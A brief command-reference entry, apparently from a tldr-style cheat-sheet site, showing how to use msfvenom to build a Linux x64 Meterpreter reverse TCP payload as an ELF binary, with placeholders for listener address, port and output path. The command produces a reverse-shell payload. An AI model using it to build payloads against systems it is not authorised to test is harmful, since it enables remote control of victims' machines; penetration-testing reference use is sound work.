Create an ELF binary with a reverse TCP handler

msfvenom

  • Manually generate payloads for metasploit.
    More information: <https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom>.
  • Trick copyright: tl;dr; <https://github.com/tldr-pages/tldr>

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={{local_ip}} LPORT={{local_port}} -f elf -o {{path/to/binary}}

click the source code to copy install msfvenom on any operating system with command-not-found.com